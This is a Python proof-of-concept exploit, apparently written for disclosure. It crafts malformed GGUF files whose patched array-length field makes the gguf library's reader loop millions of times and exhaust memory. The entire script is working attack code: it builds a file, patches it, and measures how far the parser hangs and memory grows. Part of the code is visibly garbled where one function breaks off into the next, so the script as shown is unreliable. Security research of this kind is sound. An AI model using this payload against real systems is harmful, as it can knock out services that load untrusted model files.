#!/usr/bin/env python3 """ PoC: GGUF KV Array Field Unbounded Length -> CPU/Memory Amplification DoS Target: gguf (PyPI), gguf-py from ggml-org/llama.cpp File: gguf/gguf_reader.py, GGUFReader._get_field_parts(), line ~247 Root cause (CWE-20, Improper Input Validation): `alen` (a key/value ARRAY field's declared element count) is read as an attacker-controlled uint64 directly from the GGUF file header with NO upper bound check, then used directly as a Python loop count: alen = self._get(offs, np.uint64) ... for idx in range(alen[0]): curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0]) ... Each iteration performs a memmap slice + list append regardless of whether real data exists past EOF -- numpy memmap slicing silently truncates out-of-bounds reads instead of raising, so the loop does not fail fast; it just keeps iterating `alen` times. Impact (CWE-834 Excessive Iteration / CWE-400 Uncontrolled Resource Consumption): a file of a few hundred bytes can force the parser to consume gigabytes of RAM and/or hang for minutes, with no exception raised until (if ever) the process is OOM-killed. This script: 1. Writes a small, well-formed GGUF file containing a single 5-element KV array field (169 bytes). 2. Binary-patches only the 8-byte declared array-length field to a much larger value (the rest of the file, including the 5 real values, is untouched). 3. Parses the resulting files with the real GGUFReader and measures wall-clock time and peak RSS. Requires: pip install gguf numpy """ import struct import time import resource import os import sys try: import gguf from gguf.gguf_reader import GGUFReader except ImportError: sys.exit("Install the target library first: pip install gguf") LEGIT_FILE = "poc_legit_array.gguf" def build_legit_file(path: str) -> int: """Writes a well-formed GGUF file with one small KV array field.""" writer = gguf.GGUFWriter(path, arch="llama") writer.add_name("poc-model") writer.add_array("poc.small_array", [1, 2, 3, 4, 5]) writer.write_header_to_file() writer.write_kv_data_to_file() writer.close() return os.path.getsize(path) def find_alen_offset(path: str) -> int: """Locates the byte offset of the array-length (alen) uint64 field.""" with open(path, "rb") as f: data = f.read() key = b"poc.small_array" idx = data.find(key) if idx == -1: raise RuntimeError("key not found in generated file") after_key = idx + len(key) # layout after key: raw_kv_type(u32) + raw_itype(u32) + alen(u64) + ... return after_key + 8 def craft_evil_file(legit_path: str, alen_offset: int, fake_len: int, out_path: str) -> int: with open(legit_path, "rb") as f: data = bytearray(f.read()) struct.pack_into(" None: t0 = time.time() try: GGUFReader(path) except Exception as e: print(f" -> exception after {time.time()-t0:.2f}s: {e!r}") return t1 = time.time() peak_kb = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss file_size = os.path.getsize(path) ratio = (peak_kb * 1024) / file_size if file_size else float("inf") print( f" -> parsed in {t1 - t0:.3f}s, peak RSS {peak_kb/1024:.1f} MB, " f"amplification ~1:{ratio:,.0f} (RSS bytes / file bytes)" ) def main(): print("=== Building legit baseline GGUF file ===") size = build_legit_file(LEGIT_FILE) print(f" {LEGIT_FILE}: {size} bytes, declares alen=5 (real)") alen_offset = find_alen_offset(LEGIT_FILE) print(f" alen field located at byte offset {alen_offset}") print("\n=== Baseline: parsing legit file ===") measure_parse(LEGIT_FILE) print("\n=== Attack: patching only the 8-byte alen field ===") for n in (100_000, 500_000, 1_000_000): evil_path = f"poc_evil_{n}.gguf" evil_size = craft_evil_file(LEGIT_FILE, alen_offset, n, evil_path) print(f"\n alen patched to {n:,} (file still {evil_size} bytes)") measure_parse(evil_path) print( "\nNote: alen=50,000,000 (same 169-byte file) did not complete within a " "60s timeout in testing; RSS growth is roughly linear (~1KB per " "declared array element), so this and larger values are expected to " "consume tens of GB of RAM / hang indefinitely depending on system " "resources -- run at your own risk, ideally in a sandboxed/limited " "environment." ) if __name__ == "__main__": main()